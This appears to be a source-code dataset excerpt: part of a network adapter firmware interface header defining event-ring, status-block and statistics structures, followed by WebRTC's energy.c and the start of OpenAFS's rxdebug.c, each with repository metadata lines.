E2_INTEG_DATA_TESTING_EN (0x1<<0) /* BitField flags integration testing enabled */ #define E2_INTEG_DATA_TESTING_EN_SHIFT 0 #define E2_INTEG_DATA_LB_TX (0x1<<1) /* BitField flags flag indicating this connection will transmit on loopback */ #define E2_INTEG_DATA_LB_TX_SHIFT 1 #define E2_INTEG_DATA_COS_TX (0x1<<2) /* BitField flags flag indicating this connection will transmit according to cos field */ #define E2_INTEG_DATA_COS_TX_SHIFT 2 #define E2_INTEG_DATA_OPPORTUNISTICQM (0x1<<3) /* BitField flags flag indicating this connection will activate the opportunistic QM credit flow */ #define E2_INTEG_DATA_OPPORTUNISTICQM_SHIFT 3 #define E2_INTEG_DATA_DPMTESTRELEASEDQ (0x1<<4) /* BitField flags flag indicating this connection will release the door bell queue (DQ) */ #define E2_INTEG_DATA_DPMTESTRELEASEDQ_SHIFT 4 #define E2_INTEG_DATA_RESERVED (0x7<<5) /* BitField flags */ #define E2_INTEG_DATA_RESERVED_SHIFT 5 #endif #if defined(__BIG_ENDIAN) uint16_t reserved3; uint8_t reserved2; uint8_t ramEn /* context area reserved for reading enable bit from ram */; #elif defined(__LITTLE_ENDIAN) uint8_t ramEn /* context area reserved for reading enable bit from ram */; uint8_t reserved2; uint16_t reserved3; #endif }; /* * set mac event data $$KEEP_ENDIANNESS$$ */ struct eth_event_data { uint32_t echo /* set mac echo data to return to driver */; uint32_t reserved0; uint32_t reserved1; }; /* * pf-vf event data $$KEEP_ENDIANNESS$$ */ struct vf_pf_event_data { uint8_t vf_id /* VF ID (0-63) */; uint8_t reserved0; uint16_t reserved1; uint32_t msg_addr_lo /* message address on Vf (low 32 bits) */; uint32_t msg_addr_hi /* message address on Vf (high 32 bits) */; }; /* * VF FLR event data $$KEEP_ENDIANNESS$$ */ struct vf_flr_event_data { uint8_t vf_id /* VF ID (0-63) */; uint8_t reserved0; uint16_t reserved1; uint32_t reserved2; uint32_t reserved3; }; /* * malicious VF event data $$KEEP_ENDIANNESS$$ */ struct malicious_vf_event_data { uint8_t vf_id /* VF ID (0-63) */; uint8_t err_id /* reason for malicious notification */; uint16_t reserved1; uint32_t reserved2; uint32_t reserved3; }; /* * vif list event data $$KEEP_ENDIANNESS$$ */ struct vif_list_event_data { uint8_t func_bit_map /* bit map of pf indice */; uint8_t echo; uint16_t reserved0; uint32_t reserved1; uint32_t reserved2; }; /* * function update event data $$KEEP_ENDIANNESS$$ */ struct function_update_event_data { uint8_t echo; uint8_t reserved; uint16_t reserved0; uint32_t reserved1; uint32_t reserved2; }; /* * union for all event ring message types */ union event_data { struct vf_pf_event_data vf_pf_event /* vf-pf event data */; struct eth_event_data eth_event /* set mac event data */; struct cfc_del_event_data cfc_del_event /* cfc delete event data */; struct vf_flr_event_data vf_flr_event /* vf flr event data */; struct malicious_vf_event_data malicious_vf_event /* malicious vf event data */; struct vif_list_event_data vif_list_event /* vif list event data */; struct function_update_event_data function_update_event /* function update event data */; }; /* * per PF event ring data */ struct event_ring_data { struct regpair_native base_addr /* ring base address */; #if defined(__BIG_ENDIAN) uint8_t index_id /* index ID within the status block */; uint8_t sb_id /* status block ID */; uint16_t producer /* event ring producer */; #elif defined(__LITTLE_ENDIAN) uint16_t producer /* event ring producer */; uint8_t sb_id /* status block ID */; uint8_t index_id /* index ID within the status block */; #endif uint32_t reserved0; }; /* * event ring message element (each element is 128 bits) $$KEEP_ENDIANNESS$$ */ struct event_ring_msg { uint8_t opcode; uint8_t error /* error on the mesasage */; uint16_t reserved1; union event_data data /* message data (96 bits data) */; }; /* * event ring next page element (128 bits) */ struct event_ring_next { struct regpair addr /* Address of the next page of the ring */; uint32_t reserved[2]; }; /* * union for event ring element types (each element is 128 bits) */ union event_ring_elem { struct event_ring_msg message /* event ring message */; struct event_ring_next next_page /* event ring next page */; }; /* * Common event ring opcodes */ enum event_ring_opcode { EVENT_RING_OPCODE_VF_PF_CHANNEL, EVENT_RING_OPCODE_FUNCTION_START /* Start a function (for PFs only) */, EVENT_RING_OPCODE_FUNCTION_STOP /* Stop a function (for PFs only) */, EVENT_RING_OPCODE_CFC_DEL /* Delete a connection from CFC */, EVENT_RING_OPCODE_CFC_DEL_WB /* Delete a connection from CFC (with write back) */, EVENT_RING_OPCODE_STAT_QUERY /* Collect statistics counters */, EVENT_RING_OPCODE_STOP_TRAFFIC /* Stop Tx traffic (before DCB updates) */, EVENT_RING_OPCODE_START_TRAFFIC /* Start Tx traffic (after DCB updates) */, EVENT_RING_OPCODE_VF_FLR /* VF FLR indication for PF */, EVENT_RING_OPCODE_MALICIOUS_VF /* Malicious VF operation detected */, EVENT_RING_OPCODE_FORWARD_SETUP /* Initialize forward channel */, EVENT_RING_OPCODE_RSS_UPDATE_RULES /* Update RSS configuration */, EVENT_RING_OPCODE_FUNCTION_UPDATE /* function update */, EVENT_RING_OPCODE_AFEX_VIF_LISTS /* event ring opcode niv vif lists */, EVENT_RING_OPCODE_SET_MAC /* Add/remove MAC (in E1x only) */, EVENT_RING_OPCODE_CLASSIFICATION_RULES /* Add/remove MAC or VLAN (in E2/E3 only) */, EVENT_RING_OPCODE_FILTERS_RULES /* Add/remove classification filters for L2 client (in E2/E3 only) */, EVENT_RING_OPCODE_MULTICAST_RULES /* Add/remove multicast classification bin (in E2/E3 only) */, EVENT_RING_OPCODE_SET_TIMESYNC /* Set Timesync Parameters (E3 Only) */, MAX_EVENT_RING_OPCODE}; /* * Modes for fairness algorithm */ enum fairness_mode { FAIRNESS_COS_WRR_MODE /* Weighted round robin mode (used in Google) */, FAIRNESS_COS_ETS_MODE /* ETS mode (used in FCoE) */, MAX_FAIRNESS_MODE}; /* * Priority and cos $$KEEP_ENDIANNESS$$ */ struct priority_cos { uint8_t priority /* Priority */; uint8_t cos /* Cos */; uint16_t reserved1; }; /* * The data for flow control configuration $$KEEP_ENDIANNESS$$ */ struct flow_control_configuration { struct priority_cos traffic_type_to_priority_cos[MAX_TRAFFIC_TYPES] /* traffic_type to priority cos */; uint8_t dcb_enabled /* If DCB mode is enabled then traffic class to priority array is fully initialized and there must be inner VLAN */; uint8_t dcb_version /* DCB version Increase by one on each DCB update */; uint8_t dont_add_pri_0 /* In case, the priority is 0, and the packet has no vlan, the firmware wont add vlan */; uint8_t reserved1; uint32_t reserved2; }; /* * $$KEEP_ENDIANNESS$$ */ struct function_start_data { uint8_t function_mode /* the function mode */; uint8_t allow_npar_tx_switching /* If set, inter-pf tx switching is allowed in Switch Independent function mode. (E2/E3 Only) */; uint16_t sd_vlan_tag /* value of Vlan in case of switch depended multi-function mode */; uint16_t vif_id /* value of VIF id in case of NIV multi-function mode */; uint8_t path_id; uint8_t network_cos_mode /* The cos mode for network traffic. */; uint8_t dmae_cmd_id /* The DMAE command id to use for FW DMAE transactions */; uint8_t gre_tunnel_mode /* GRE Tunnel Mode to enable on the Function (E2/E3 Only) */; uint8_t gre_tunnel_rss /* Type of RSS to perform on GRE Tunneled packets */; uint8_t nvgre_clss_en /* If set, NVGRE tunneled packets are classified according to their inner MAC (gre_mode must be NVGRE_TUNNEL) */; uint16_t reserved1[2]; }; /* * $$KEEP_ENDIANNESS$$ */ struct function_update_data { uint8_t vif_id_change_flg /* If set, vif_id will be checked */; uint8_t afex_default_vlan_change_flg /* If set, afex_default_vlan will be checked */; uint8_t allowed_priorities_change_flg /* If set, allowed_priorities will be checked */; uint8_t network_cos_mode_change_flg /* If set, network_cos_mode will be checked */; uint16_t vif_id /* value of VIF id in case of NIV multi-function mode */; uint16_t afex_default_vlan /* value of default Vlan in case of NIV mf */; uint8_t allowed_priorities /* bit vector of allowed Vlan priorities for this VIF */; uint8_t network_cos_mode /* The cos mode for network traffic. */; uint8_t lb_mode_en_change_flg /* If set, lb_mode_en will be checked */; uint8_t lb_mode_en /* If set, niv loopback mode will be enabled */; uint8_t tx_switch_suspend_change_flg /* If set, tx_switch_suspend will be checked */; uint8_t tx_switch_suspend /* If set, TX switching TO this function will be disabled and packets will be dropped */; uint8_t echo; uint8_t reserved1; uint8_t update_gre_cfg_flg /* If set, GRE config for the function will be updated according to the gre_tunnel_rss and nvgre_clss_en fields */; uint8_t gre_tunnel_mode /* GRE Tunnel Mode to enable on the Function (E2/E3 Only) */; uint8_t gre_tunnel_rss /* Type of RSS to perform on GRE Tunneled packets */; uint8_t nvgre_clss_en /* If set, NVGRE tunneled packets are classified according to their inner MAC (gre_mode must be NVGRE_TUNNEL) */; uint32_t reserved3; }; /* * FW version stored in the Xstorm RAM */ struct fw_version { #if defined(__BIG_ENDIAN) uint8_t engineering /* firmware current engineering version */; uint8_t revision /* firmware current revision version */; uint8_t minor /* firmware current minor version */; uint8_t major /* firmware current major version */; #elif defined(__LITTLE_ENDIAN) uint8_t major /* firmware current major version */; uint8_t minor /* firmware current minor version */; uint8_t revision /* firmware current revision version */; uint8_t engineering /* firmware current engineering version */; #endif uint32_t flags; #define FW_VERSION_OPTIMIZED (0x1<<0) /* BitField flags if set, this is optimized ASM */ #define FW_VERSION_OPTIMIZED_SHIFT 0 #define FW_VERSION_BIG_ENDIEN (0x1<<1) /* BitField flags if set, this is big-endien ASM */ #define FW_VERSION_BIG_ENDIEN_SHIFT 1 #define FW_VERSION_CHIP_VERSION (0x3<<2) /* BitField flags 1 - E1H */ #define FW_VERSION_CHIP_VERSION_SHIFT 2 #define __FW_VERSION_RESERVED (0xFFFFFFF<<4) /* BitField flags */ #define __FW_VERSION_RESERVED_SHIFT 4 }; /* * GRE RSS Mode */ enum gre_rss_mode { GRE_OUTER_HEADERS_RSS /* RSS for GRE Packets is performed on the outer headers */, GRE_INNER_HEADERS_RSS /* RSS for GRE Packets is performed on the inner headers */, NVGRE_KEY_ENTROPY_RSS /* RSS for NVGRE Packets is done based on a hash containing the entropy bits from the GRE Key Field (gre_tunnel must be NVGRE_TUNNEL) */, MAX_GRE_RSS_MODE}; /* * GRE Tunnel Mode */ enum gre_tunnel_type { NO_GRE_TUNNEL, NVGRE_TUNNEL /* NV-GRE Tunneling Microsoft L2 over GRE. GRE header contains mandatory Key Field. */, L2GRE_TUNNEL /* L2-GRE Tunneling General L2 over GRE. GRE can contain Key field with Tenant ID and Sequence Field */, IPGRE_TUNNEL /* IP-GRE Tunneling IP over GRE. GRE may contain Key field with Tenant ID, Sequence Field and/or Checksum Field */, MAX_GRE_TUNNEL_TYPE}; /* * Dynamic Host-Coalescing - Driver(host) counters */ struct hc_dynamic_sb_drv_counters { uint32_t dynamic_hc_drv_counter[HC_SB_MAX_DYNAMIC_INDICES] /* Dynamic HC counters written by drivers */; }; /* * 2 bytes. configuration/state parameters for a single protocol index */ struct hc_index_data { #if defined(__BIG_ENDIAN) uint8_t flags; #define HC_INDEX_DATA_SM_ID (0x1<<0) /* BitField flags Index to a state machine. Can be 0 or 1 */ #define HC_INDEX_DATA_SM_ID_SHIFT 0 #define HC_INDEX_DATA_HC_ENABLED (0x1<<1) /* BitField flags if set, host coalescing would be done for this index */ #define HC_INDEX_DATA_HC_ENABLED_SHIFT 1 #define HC_INDEX_DATA_DYNAMIC_HC_ENABLED (0x1<<2) /* BitField flags if set, dynamic HC will be done for this index */ #define HC_INDEX_DATA_DYNAMIC_HC_ENABLED_SHIFT 2 #define HC_INDEX_DATA_RESERVE (0x1F<<3) /* BitField flags */ #define HC_INDEX_DATA_RESERVE_SHIFT 3 uint8_t timeout /* the timeout values for this index. Units are 4 usec */; #elif defined(__LITTLE_ENDIAN) uint8_t timeout /* the timeout values for this index. Units are 4 usec */; uint8_t flags; #define HC_INDEX_DATA_SM_ID (0x1<<0) /* BitField flags Index to a state machine. Can be 0 or 1 */ #define HC_INDEX_DATA_SM_ID_SHIFT 0 #define HC_INDEX_DATA_HC_ENABLED (0x1<<1) /* BitField flags if set, host coalescing would be done for this index */ #define HC_INDEX_DATA_HC_ENABLED_SHIFT 1 #define HC_INDEX_DATA_DYNAMIC_HC_ENABLED (0x1<<2) /* BitField flags if set, dynamic HC will be done for this index */ #define HC_INDEX_DATA_DYNAMIC_HC_ENABLED_SHIFT 2 #define HC_INDEX_DATA_RESERVE (0x1F<<3) /* BitField flags */ #define HC_INDEX_DATA_RESERVE_SHIFT 3 #endif }; /* * HC state-machine */ struct hc_status_block_sm { #if defined(__BIG_ENDIAN) uint8_t igu_seg_id; uint8_t igu_sb_id /* sb_id within the IGU */; uint8_t timer_value /* Determines the time_to_expire */; uint8_t __flags; #elif defined(__LITTLE_ENDIAN) uint8_t __flags; uint8_t timer_value /* Determines the time_to_expire */; uint8_t igu_sb_id /* sb_id within the IGU */; uint8_t igu_seg_id; #endif uint32_t time_to_expire /* The time in which it expects to wake up */; }; /* * hold PCI identification variables- used in various places in firmware */ struct pci_entity { #if defined(__BIG_ENDIAN) uint8_t vf_valid /* If set, this is a VF, otherwise it is PF */; uint8_t vf_id /* VF ID (0-63). Value of 0xFF means VF not valid */; uint8_t vnic_id /* Virtual NIC ID (0-3) */; uint8_t pf_id /* PCI physical function number (0-7). The LSB of this field is the port ID */; #elif defined(__LITTLE_ENDIAN) uint8_t pf_id /* PCI physical function number (0-7). The LSB of this field is the port ID */; uint8_t vnic_id /* Virtual NIC ID (0-3) */; uint8_t vf_id /* VF ID (0-63). Value of 0xFF means VF not valid */; uint8_t vf_valid /* If set, this is a VF, otherwise it is PF */; #endif }; /* * The fast-path status block meta-data, common to all chips */ struct hc_sb_data { struct regpair_native host_sb_addr /* Host status block address */; struct hc_status_block_sm state_machine[HC_SB_MAX_SM] /* Holds the state machines of the status block */; struct pci_entity p_func /* vnic / port of the status block to be set by the driver */; #if defined(__BIG_ENDIAN) uint8_t rsrv0; uint8_t state; uint8_t dhc_qzone_id /* used in E2 only, to specify the HW queue zone ID used for this status block dynamic HC counters */; uint8_t same_igu_sb_1b /* Indicate that both state-machines acts like single sm */; #elif defined(__LITTLE_ENDIAN) uint8_t same_igu_sb_1b /* Indicate that both state-machines acts like single sm */; uint8_t dhc_qzone_id /* used in E2 only, to specify the HW queue zone ID used for this status block dynamic HC counters */; uint8_t state; uint8_t rsrv0; #endif struct regpair_native rsrv1[2]; }; /* * Segment types for host coaslescing */ enum hc_segment { HC_REGULAR_SEGMENT, HC_DEFAULT_SEGMENT, MAX_HC_SEGMENT}; /* * The fast-path status block meta-data */ struct hc_sp_status_block_data { struct regpair_native host_sb_addr /* Host status block address */; #if defined(__BIG_ENDIAN) uint8_t rsrv1; uint8_t state; uint8_t igu_seg_id /* segment id of the IGU */; uint8_t igu_sb_id /* sb_id within the IGU */; #elif defined(__LITTLE_ENDIAN) uint8_t igu_sb_id /* sb_id within the IGU */; uint8_t igu_seg_id /* segment id of the IGU */; uint8_t state; uint8_t rsrv1; #endif struct pci_entity p_func /* vnic / port of the status block to be set by the driver */; }; /* * The fast-path status block meta-data */ struct hc_status_block_data_e1x { struct hc_index_data index_data[HC_SB_MAX_INDICES_E1X] /* configuration/state parameters for a single protocol index */; struct hc_sb_data common /* The fast-path status block meta-data, common to all chips */; }; /* * The fast-path status block meta-data */ struct hc_status_block_data_e2 { struct hc_index_data index_data[HC_SB_MAX_INDICES_E2] /* configuration/state parameters for a single protocol index */; struct hc_sb_data common /* The fast-path status block meta-data, common to all chips */; }; /* * IGU block operartion modes (in Everest2) */ enum igu_mode { HC_IGU_BC_MODE /* Backward compatible mode */, HC_IGU_NBC_MODE /* Non-backward compatible mode */, MAX_IGU_MODE}; /* * IP versions */ enum ip_ver { IP_V4, IP_V6, MAX_IP_VER}; /* * Malicious VF error ID */ enum malicious_vf_error_id { VF_PF_CHANNEL_NOT_READY /* Writing to VF/PF channel when it is not ready */, ETH_ILLEGAL_BD_LENGTHS /* TX BD lengths error was detected */, ETH_PACKET_TOO_SHORT /* TX packet is shorter then reported on BDs */, ETH_PAYLOAD_TOO_BIG /* TX packet is greater then MTU */, ETH_ILLEGAL_ETH_TYPE /* TX packet reported without VLAN but eth type is 0x8100 */, ETH_ILLEGAL_LSO_HDR_LEN /* LSO header length on BDs and on hdr_nbd do not match */, ETH_TOO_MANY_BDS /* Tx packet has too many BDs */, ETH_ZERO_HDR_NBDS /* hdr_nbds field is zero */, ETH_START_BD_NOT_SET /* start_bd should be set on first TX BD in packet */, ETH_ILLEGAL_PARSE_NBDS /* Tx packet with parse_nbds field which is not legal */, ETH_IPV6_AND_CHECKSUM /* Tx packet with IP checksum on IPv6 */, ETH_VLAN_FLG_INCORRECT /* Tx packet with incorrect VLAN flag */, ETH_ILLEGAL_LSO_MSS /* Tx LSO packet with illegal MSS value */, ETH_TUNNEL_NOT_SUPPORTED /* Tunneling packets are not supported in current connection */, MAX_MALICIOUS_VF_ERROR_ID}; /* * Multi-function modes */ enum mf_mode { SINGLE_FUNCTION, MULTI_FUNCTION_SD /* Switch dependent (vlan based) */, MULTI_FUNCTION_SI /* Switch independent (mac based) */, MULTI_FUNCTION_AFEX /* Switch dependent (niv based) */, MAX_MF_MODE}; /* * Protocol-common statistics collected by the Tstorm (per pf) $$KEEP_ENDIANNESS$$ */ struct tstorm_per_pf_stats { struct regpair rcv_error_bytes /* number of bytes received with errors */; }; /* * $$KEEP_ENDIANNESS$$ */ struct per_pf_stats { struct tstorm_per_pf_stats tstorm_pf_statistics; }; /* * Protocol-common statistics collected by the Tstorm (per port) $$KEEP_ENDIANNESS$$ */ struct tstorm_per_port_stats { uint32_t mac_discard /* number of packets with mac errors */; uint32_t mac_filter_discard /* the number of good frames dropped because of no perfect match to MAC/VLAN address */; uint32_t brb_truncate_discard /* the number of packtes that were dropped because they were truncated in BRB */; uint32_t mf_tag_discard /* the number of good frames dropped because of no match to the outer vlan/VNtag */; uint32_t packet_drop /* general packet drop conter- incremented for every packet drop */; uint32_t reserved; }; /* * $$KEEP_ENDIANNESS$$ */ struct per_port_stats { struct tstorm_per_port_stats tstorm_port_statistics; }; /* * Protocol-common statistics collected by the Tstorm (per client) $$KEEP_ENDIANNESS$$ */ struct tstorm_per_queue_stats { struct regpair rcv_ucast_bytes /* number of bytes in unicast packets received without errors and pass the filter */; uint32_t rcv_ucast_pkts /* number of unicast packets received without errors and pass the filter */; uint32_t checksum_discard /* number of total packets received with checksum error */; struct regpair rcv_bcast_bytes /* number of bytes in broadcast packets received without errors and pass the filter */; uint32_t rcv_bcast_pkts /* number of packets in broadcast packets received without errors and pass the filter */; uint32_t pkts_too_big_discard /* number of too long packets received */; struct regpair rcv_mcast_bytes /* number of bytes in multicast packets received without errors and pass the filter */; uint32_t rcv_mcast_pkts /* number of packets in multicast packets received without errors and pass the filter */; uint32_t ttl0_discard /* the number of good frames dropped because of TTL=0 */; uint16_t no_buff_discard; uint16_t reserved0; uint32_t reserved1; }; /* * Protocol-common statistics collected by the Ustorm (per client) $$KEEP_ENDIANNESS$$ */ struct ustorm_per_queue_stats { struct regpair ucast_no_buff_bytes /* the number of unicast bytes received from network dropped because of no buffer at host */; struct regpair mcast_no_buff_bytes /* the number of multicast bytes received from network dropped because of no buffer at host */; struct regpair bcast_no_buff_bytes /* the number of broadcast bytes received from network dropped because of no buffer at host */; uint32_t ucast_no_buff_pkts /* the number of unicast frames received from network dropped because of no buffer at host */; uint32_t mcast_no_buff_pkts /* the number of unicast frames received from network dropped because of no buffer at host */; uint32_t bcast_no_buff_pkts /* the number of unicast frames received from network dropped because of no buffer at host */; uint32_t coalesced_pkts /* the number of packets coalesced in all aggregations */; struct regpair coalesced_bytes /* the number of bytes coalesced in all aggregations */; uint32_t coalesced_events /* the number of aggregations */; uint32_t coalesced_aborts /* the number of exception which avoid aggregation */; }; /* * Protocol-common statistics collected by the Xstorm (per client) $$KEEP_ENDIANNESS$$ */ struct xstorm_per_queue_stats { struct regpair ucast_bytes_sent /* number of total bytes sent without errors */; struct regpair mcast_bytes_sent /* number of total bytes sent without errors */; struct regpair bcast_bytes_sent /* number of total bytes sent without errors */; uint32_t ucast_pkts_sent /* number of total packets sent without errors */; uint32_t mcast_pkts_sent /* number of total packets sent without errors */; uint32_t bcast_pkts_sent /* number of total packets sent without errors */; uint32_t error_drop_pkts /* number of total packets drooped due to errors */; }; /* * $$KEEP_ENDIANNESS$$ */ struct per_queue_stats { struct tstorm_per_queue_stats tstorm_queue_statistics; struct ustorm_per_queue_stats ustorm_queue_statistics; struct xstorm_per_queue_stats xstorm_queue_statistics; }; /* * FW version stored in first line of pram $$KEEP_ENDIANNESS$$ */ struct pram_fw_version { uint8_t major /* firmware current major version */; uint8_t minor /* firmware current minor version */; uint8_t revision /* firmware current revision version */; uint8_t engineering /* firmware current engineering version */; uint8_t flags; #define PRAM_FW_VERSION_OPTIMIZED (0x1<<0) /* BitField flags if set, this is optimized ASM */ #define PRAM_FW_VERSION_OPTIMIZED_SHIFT 0 #define PRAM_FW_VERSION_STORM_ID (0x3<<1) /* BitField flags storm_id identification */ #define PRAM_FW_VERSION_STORM_ID_SHIFT 1 #define PRAM_FW_VERSION_BIG_ENDIEN (0x1<<3) /* BitField flags if set, this is big-endien ASM */ #define PRAM_FW_VERSION_BIG_ENDIEN_SHIFT 3 #define PRAM_FW_VERSION_CHIP_VERSION (0x3<<4) /* BitField flags 1 - E1H */ #define PRAM_FW_VERSION_CHIP_VERSION_SHIFT 4 #define __PRAM_FW_VERSION_RESERVED0 (0x3<<6) /* BitField flags */ #define __PRAM_FW_VERSION_RESERVED0_SHIFT 6 }; /* * Ethernet slow path element */ union protocol_common_specific_data { uint8_t protocol_data[8] /* to fix this structure size to 8 bytes */; struct regpair phy_address /* SPE physical address */; struct regpair mac_config_addr /* physical address of the MAC configuration command, as allocated by the driver */; struct afex_vif_list_ramrod_data afex_vif_list_data /* The data afex vif list ramrod need */; }; /* * The send queue element */ struct protocol_common_spe { struct spe_hdr hdr /* SPE header */; union protocol_common_specific_data data /* data specific to common protocol */; }; /* * The data for the Set Timesync Ramrod $$KEEP_ENDIANNESS$$ */ struct set_timesync_ramrod_data { uint8_t drift_adjust_cmd /* Timesync Drift Adjust Command */; uint8_t offset_cmd /* Timesync Offset Command */; uint8_t add_sub_drift_adjust_value /* Whether to add(1)/subtract(0) Drift Adjust Value from the Offset */; uint8_t drift_adjust_value /* Drift Adjust Value (in ns) */; uint32_t drift_adjust_period /* Drift Adjust Period (in us) */; struct regpair offset_delta /* Timesync Offset Delta (in ns) */; }; /* * The send queue element */ struct slow_path_element { struct spe_hdr hdr /* common data for all protocols */; struct regpair protocol_data /* additional data specific to the protocol */; }; /* * Protocol-common statistics counter $$KEEP_ENDIANNESS$$ */ struct stats_counter { uint16_t xstats_counter /* xstorm statistics counter */; uint16_t reserved0; uint32_t reserved1; uint16_t tstats_counter /* tstorm statistics counter */; uint16_t reserved2; uint32_t reserved3; uint16_t ustats_counter /* ustorm statistics counter */; uint16_t reserved4; uint32_t reserved5; uint16_t cstats_counter /* ustorm statistics counter */; uint16_t reserved6; uint32_t reserved7; }; /* * $$KEEP_ENDIANNESS$$ */ struct stats_query_entry { uint8_t kind; uint8_t index /* queue index */; uint16_t funcID /* the func the statistic will send to */; uint32_t reserved; struct regpair address /* pxp address */; }; /* * statistic command $$KEEP_ENDIANNESS$$ */ struct stats_query_cmd_group { struct stats_query_entry query[STATS_QUERY_CMD_COUNT]; }; /* * statistic command header $$KEEP_ENDIANNESS$$ */ struct stats_query_header { uint8_t cmd_num /* command number */; uint8_t reserved0; uint16_t drv_stats_counter; uint32_t reserved1; struct regpair stats_counters_addrs /* stats counter */; }; /* * Types of statistcis query entry */ enum stats_query_type { STATS_TYPE_QUEUE, STATS_TYPE_PORT, STATS_TYPE_PF, STATS_TYPE_TOE, STATS_TYPE_FCOE, MAX_STATS_QUERY_TYPE}; /* * Indicate of the function status block state */ enum status_block_state { SB_DISABLED, SB_ENABLED, SB_CLEANED, MAX_STATUS_BLOCK_STATE}; /* * Storm IDs (including attentions for IGU related enums) */ enum storm_id { USTORM_ID, CSTORM_ID, XSTORM_ID, TSTORM_ID, ATTENTION_ID, MAX_STORM_ID}; /* * Taffic types used in ETS and flow control algorithms */ enum traffic_type { LLFC_TRAFFIC_TYPE_NW /* Networking */, LLFC_TRAFFIC_TYPE_FCOE /* FCoE */, LLFC_TRAFFIC_TYPE_ISCSI /* iSCSI */, MAX_TRAFFIC_TYPE}; /* * zone A per-queue data */ struct tstorm_queue_zone_data { struct regpair reserved[4]; }; /* * zone B per-VF data */ struct tstorm_vf_zone_data { struct regpair reserved; }; /* * Add or Subtract Value for Set Timesync Ramrod */ enum ts_add_sub_value { TS_SUB_VALUE /* Subtract Value */, TS_ADD_VALUE /* Add Value */, MAX_TS_ADD_SUB_VALUE}; /* * Drift-Adjust Commands for Set Timesync Ramrod */ enum ts_drift_adjust_cmd { TS_DRIFT_ADJUST_KEEP /* Keep Drift-Adjust at current values */, TS_DRIFT_ADJUST_SET /* Set Drift-Adjust */, TS_DRIFT_ADJUST_RESET /* Reset Drift-Adjust */, MAX_TS_DRIFT_ADJUST_CMD}; /* * Offset Commands for Set Timesync Ramrod */ enum ts_offset_cmd { TS_OFFSET_KEEP /* Keep Offset at current values */, TS_OFFSET_INC /* Increase Offset by Offset Delta */, TS_OFFSET_DEC /* Decrease Offset by Offset Delta */, MAX_TS_OFFSET_CMD}; /* * zone A per-queue data */ struct ustorm_queue_zone_data { union ustorm_eth_rx_producers eth_rx_producers /* ETH RX rings producers */; struct regpair reserved[3]; }; /* * zone B per-VF data */ struct ustorm_vf_zone_data { struct regpair reserved; }; /* * data per VF-PF channel */ struct vf_pf_channel_data { #if defined(__BIG_ENDIAN) uint16_t reserved0; uint8_t valid /* flag for channel validity. (cleared when identify a VF as malicious) */; uint8_t state /* channel state (ready / waiting for ack) */; #elif defined(__LITTLE_ENDIAN) uint8_t state /* channel state (ready / waiting for ack) */; uint8_t valid /* flag for channel validity. (cleared when identify a VF as malicious) */; uint16_t reserved0; #endif uint32_t reserved1; }; /* * State of VF-PF channel */ enum vf_pf_channel_state { VF_PF_CHANNEL_STATE_READY /* Channel is ready to accept a message from VF */, VF_PF_CHANNEL_STATE_WAITING_FOR_ACK /* Channel waits for an ACK from PF */, MAX_VF_PF_CHANNEL_STATE}; /* * vif_list_rule_kind */ enum vif_list_rule_kind { VIF_LIST_RULE_SET, VIF_LIST_RULE_GET, VIF_LIST_RULE_CLEAR_ALL, VIF_LIST_RULE_CLEAR_FUNC, MAX_VIF_LIST_RULE_KIND}; /* * zone A per-queue data */ struct xstorm_queue_zone_data { struct regpair reserved[4]; }; /* * zone B per-VF data */ struct xstorm_vf_zone_data { struct regpair reserved; }; #endif /* ECORE_HSI_H */
40.59564
345
0.750711
[ "vector" ]
5cce6b8777e344d086319b0c01c07bf659a6ab47
1,127
c
C
common_audio/signal_processing/energy.c
gaoxiaoyang/webrtc
21021f022be36f5d04f8a3a309e345f65c8603a9
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
common_audio/signal_processing/energy.c
gaoxiaoyang/webrtc
21021f022be36f5d04f8a3a309e345f65c8603a9
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
common_audio/signal_processing/energy.c
gaoxiaoyang/webrtc
21021f022be36f5d04f8a3a309e345f65c8603a9
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
/* * Copyright (c) 2011 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ /* * This file contains the function WebRtcSpl_Energy(). * The description header can be found in signal_processing_library.h * */ #include "common_audio/signal_processing/include/signal_processing_library.h" int32_t WebRtcSpl_Energy(int16_t* vector, size_t vector_length, int* scale_factor) { int32_t en = 0; size_t i; int scaling = WebRtcSpl_GetScalingSquare(vector, vector_length, vector_length); size_t looptimes = vector_length; int16_t *vectorptr = vector; for (i = 0; i < looptimes; i++) { en += (*vectorptr * *vectorptr) >> scaling; vectorptr++; } *scale_factor = scaling; return en; }
28.175
77
0.671695
[ "vector" ]
5cd30b2cf4a777d044f19b692581d501f7431acf
19,857
c
C
src/rxdebug/rxdebug.c
bagdxk/openafs
8f1eba056fd2d2792a7d2b61d5dbcdd799bc173d
[ "BSD-3-Clause" ]
54
2015-01-26T02:12:37.000Z
2022-02-09T07:00:34.000Z
src/rxdebug/rxdebug.c
bagdxk/openafs
8f1eba056fd2d2792a7d2b61d5dbcdd799bc173d
[ "BSD-3-Clause" ]
5
2016-08-12T04:37:29.000Z
2020-12-10T16:46:06.000Z
src/rxdebug/rxdebug.c
bagdxk/openafs
8f1eba056fd2d2792a7d2b61d5dbcdd799bc173d
[ "BSD-3-Clause" ]
38
2015-07-30T13:27:25.000Z
2022-01-27T06:45:13.000Z
/* * Copyright 2000, International Business Machines Corporation and others. * All Rights Reserved. * * This software has been released under the terms of the IBM Public * License. For details, see the LICENSE file in the top-level source * directory or online at http://www.openafs.org/dl/license10.html */ #include <afsconfig.h> #include <afs/param.h> #include <afs/stds.h> #include <roken.h> #include <afs/afsutil.h> #include <afs/cmd.h> #include <rx/rx_user.h> #include <rx/rx_clock.h> #include <rx/rx_queue.h> #include <rx/rx.h> #include <rx/rx_globals.h> #ifdef ENABLE_RXGK # include <rx/rxgk.h> #endif #define TIMEOUT 20 static short PortNumber(char *aport) { int tc; short total; total = 0; while ((tc = *aport++)) { if (tc < '0' || tc > '9') return -1; /* bad port number */ total *= 10; total += tc - (int)'0'; } return htons(total); } static short PortName(char *aname) { struct servent *ts; ts = getservbyname(aname, NULL); if (!ts) return -1; return ts->s_port; /* returns it in network byte order */ } int MainCommand(struct cmd_syndesc *as, void *arock) { int i; osi_socket s; int j; struct sockaddr_in taddr; afs_int32 